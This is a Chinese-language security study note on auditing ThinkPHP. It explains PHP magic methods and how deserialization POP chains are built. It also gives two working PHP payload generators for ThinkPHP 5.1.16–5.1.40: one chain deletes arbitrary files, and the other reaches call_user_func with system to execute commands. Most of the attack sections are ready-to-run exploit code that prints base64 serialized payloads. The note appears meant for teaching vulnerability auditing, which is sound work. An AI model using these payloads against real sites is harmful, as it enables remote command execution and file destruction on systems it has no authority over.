PHP框架开发篇&ThinkPHP&反序列化&POP利用链&RCE执行&文件删除
#框架审计总结方向:
1、版本不安全写法怎么检测
-本地复现版本写法对比
-参考官方开发手册写法
2、版本自身的漏洞怎么检测
-平常多关注此类框架漏洞
-配合黑盒工具检测找入口
https://github.com/Mochazz/ThinkPHP-Vuln
https://github.com/hughink/Thinkphp-All-vuln
3、版本自身的漏洞怎么利用
根据漏洞提示找满足条件实现调用
满足条件:对应的函数点和可控变量
PHP常用的魔法函数:
__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发
反序列化常用起点
1、__wakeup 一定会调用*;
2、__destruct 一定会调用;
3、__toString 当一个对象被反序列后又被当字符串使用。
反序列化的常见中间跳板
1、__toString 当一个对象被当做字符串使用;
2、__get 读取不可访问或不存在属性时被调用;
3、__set:当访问不可访问或不存在属性赋值时调用。
反序列化的常见终点
1、__call()调用不可访问或不存在的方法时被调用;
2、call_user_func() 一般PHP代码执行会选择这里;
3、call_user_func_array 一般PHP代码执行会选择这里。
注意:实际成品源码审计分析中,通过对版本的判断有无反序列化漏洞,确定后需要对利用条件做判断,利用条件主要有2个:
1、可控的文件,文件使用文件判断类函数操作(phar反序列化)
2、可控的变量,变量采用的unserialize去操作(反序列化)
#PHP框架审计-ThinkPHP-反序列化链文件删除
Thinkphp反序列化文件删除POP链分析
https://paper.seebug.org/1040/
https://blog.csdn.net/qq_63701832/article/details/131406921
测试版本:5.1.29
适用版本:5.1.16-5.1.40
POP链:__destruct->removeFiles
<?php
namespace think\process\pipes;
class Pipes{}
class Windows extends Pipes{
private $files = ['c:\\a.txt'];
}
$a=new Windows();
echo base64_encode(serialize($a));
?>
#PHP框架审计-ThinkPHP-反序列化链RCE执行
Thinkphp反序列化RCE执行POP链分析
https://paper.seebug.org/1040/
https://blog.csdn.net/qq_63701832/article/details/131406921
测试版本:5.1.29
适用版本:5.1.16-5.1.40
POP链:
__destruct->removeFiles->file_exists->__toString->toJson->toArray
->visible->__call->isAjax->param->input->filterValue->call_user_func
难点理解:
__call魔术方法受到array_unshift无法可控触发call_user_func_array
利用_call调用isAjax类找可控变量再触发到filterValue里的call_user_func
<?php
//__call->isAjax->param->input->filterValue->call_user_func
namespace think;
class Request{
protected $hook = [];
protected $filter;
protected $mergeParam = true;
protected $param = ['calc'];//protected $param = 'calc'也可以,走另一条执行路径
protected $config = [
'var_ajax' => '',
];
function __construct(){
$this->hook=['visible'=>[$this,'isAjax']];
$this->filter=['system'];
}
}
//__toString->toJson->toArray->visible->
namespace think;
abstract class Model{
protected $append = [];
private $data=[];
function __construct(){
$this->append=['coleak'=>['']];
$this->data=['coleak'=>new Request()];
}
}
//为后续集成类加载
namespace think\model;
use think\Model;
class Pivot extends Model{
}
//__destruct->removeFiles->file_exists->
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{}
class Windows extends Pipes{
private $files = [];
function __construct(){
$this->files=[new Pivot()];
}
}
echo base64_encode(serialize(new Windows()));